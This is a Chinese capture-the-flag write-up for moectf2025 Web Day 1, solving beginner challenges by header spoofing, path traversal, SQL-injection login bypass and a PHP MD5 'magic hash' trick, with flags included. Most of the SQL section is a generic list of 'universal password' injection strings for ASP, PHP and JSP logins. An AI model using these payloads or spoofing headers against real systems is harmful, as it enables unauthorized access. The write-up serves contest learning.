moectf2025-Web-Day1

Web0

JSFuck代码。直接控制台执行or解码即可。
直接用在线浏览器可能会因为CSP策略导致代码被拒绝执行 使用本地html开控制台即可绕过
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

Web01 第一章 神秘的手镯

禁止复制粘贴。
f12直接看网页源代码获得flag。
moectf{f_i2_1s_Your_g00d_fri3nd!!}
控制台禁用JS小知识:
Microsoft Edge:Ctrl+Shift+I Ctrl+Shift+P,输入JavaScript
Firefox:网址栏输入about:config,找到javascript.enabled

Web02 第二章 初识金曦玄轨

进入后是一个界面 部分文字被隐藏,但可以复制粘贴出来,有提示访问goldtrail,直接访问即可。
moectf{0bs3rv3_Th3_Gold3n_traiL}

Web03 第三章 问剑石!篡天改命!

查看js代码可知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<body>
<div class="container">
<h1>玄天剑宗·问剑石</h1>
<div class="altar">
<div class="stone-container">
<div class="stone">
<div class="result" id="result">天赋:B,光芒:无</div>
</div>
<div class="glow" id="glow"></div>
</div>
<button class="btn-test" onclick="testTalent()">测试天赋</button>
<div class="hint">
※ 初始天赋为B级,需施展秘术篡改玄机<br>
※ 使用破阵罗盘窥探金曦玄轨,修改契引与本源真言
</div>
</div>
<div class="footer">
仙门试炼 · 金曦破禁术
</div>
</div>

<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>
</body>

会解析一个json,里面result字段需要有“流云状青芒“ (需要用题目中的英文)
抓包发现点击测试天赋会有一个B 和 None ,修改level参数的值和manifestation参数的值,可以看到回显结果中result中的天赋和光芒对应的值改变。

/test_talent?level=B 这里把B改成S,将manifestation的值改为流云状青芒的英文即可获得flag。
moectf{gET_pOst-tR@NsmIs5lon_1s-4-Go0d-mEthoDl1!1ba}

Web04 第四章 金曦破禁与七绝傀儡阵

七关
第一关:Get传参 ?key=xdsec bW9lY3Rme0Mw
第二关:Post请求 用hackbarPOST方法请求数据,data为declaration=织云阁=第一 bjZyNDd1MTQ3
第三关:本地访问 需要我们伪造本地访问的方式 curl -H “X-Forwarded-For: 127.0.0.1” http://127.0.0.1:53567/shadow_stalker -H “X-Forwarded-For: 127.0.0.1”的含义是添加一个 HTTP 头部,伪造客户端 IP 为 127.0.0.1
一些伪造本地请求的姿势:
Client-Ip: 127.0.0.1
host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Referer: 127.0.0.1
可以用hackbar插件 直接插入header 或者 bp发包时添加header
MTBuNV95MHVy
第四关
要求使用moe browser进行访问。伪造User-Agent即可
bp插件和hackbar均可
X2g3N1BfbDN2
第五关 以xt的身份认证user
抓包没发现什么特别的 本题需要伪造Cookie: user=xt
使用bp或backbar 或 curl -H “Cookie: user=xt” http://127.0.0.1:53567/heart_seal
M2xfMTVfcjM0
第六关
Referer伪造
Referer头部用于告诉服务器:用户是从哪个 URL 跳转/链接到当前页面的
根据提示直接修改Referer即可
bGx5X2gxOWgh
第七关
put请求的使用 直接用put请求发送“新生”即可
fQ==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /void_rebirth HTTP/1.1
Host: 127.0.0.1:17201
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 13

新生!

拼接然后base64decode即可
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

Web05 第五章 打上门来!

目录遍历漏洞
http://127.0.0.1:15237/?file=../../
即可直接访问根目录

Web06 第六章 藏经禁制?玄机初探!

SQL注入 发现传递参数为:
/?username=&password=
可以直接使用万能密码
/?username=&password=’ or 1=’1
moectf{WeLC0ME-T0-5qL-injecTlONl11225d42a}

一些SQL知识:优先级关系:or<and<not,同一优先级默认从左往右计算。
比如,对于:
SELECT * FROM admin WHERE Username= ‘“.$username.”‘ AND Password= ‘“.md5($password).”‘
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:SELECT * FROM admin WHERE Username=’1’ OR 1=1 OR ‘1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’

and优先级高,先算’1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’,为0
然后是Username=’1’ 为0
1=1 为1
最后就是0 or 1 or 0
一些万用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*

Web07 第七章 灵蛛探穴与阴阳双生符

robots.txt 提示访问flag.php,是一个简单的php代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag;

要求ab不相等但md5相等。由于PHP中的!=是松散比较(!==是严格比较),是可以实现这个条件的。
在PHP中,松散比较会进行类型转换。
在PHP中,以 0e 开头后面跟数字的字符串,会被解释为科学计数法:
0e123 表示 0 × 10¹²³ = 0
0e462097431906509019562988736854 = 0 × 10¹⁴⁶²⁰⁹⁷… = 0
因此两个0e开头的字符串会被判等 即可绕过hash
exp:
/flag.php?a=240610708&b=QNKCDZO
moectf{MD5-l5_n0T_safe!!16e29b462f5}
一些PHP比较知识:
松散比较:==比较时先转数据类型再进行比较
严格比较:=== 比较时先判断两种字符串类型是否相等,再进行比较
如果该字符串没有包含’.’ ‘e’ ‘E’并且数值在整形范围值内,该字符串被当作int来取值,其他所有情况下被当作float来取值。
当字符串与数字进行松散比较时(==),PHP会尝试将字符串转换为数字。转换规则是:
从字符串开头读取字符,直到遇到第一个非数字字符为止,然后将读取到的数字部分转换为整数或浮点数。没读到数字字符即为0
有e时,会把e前面的当成科学计数法。比如12e3就是12x10^3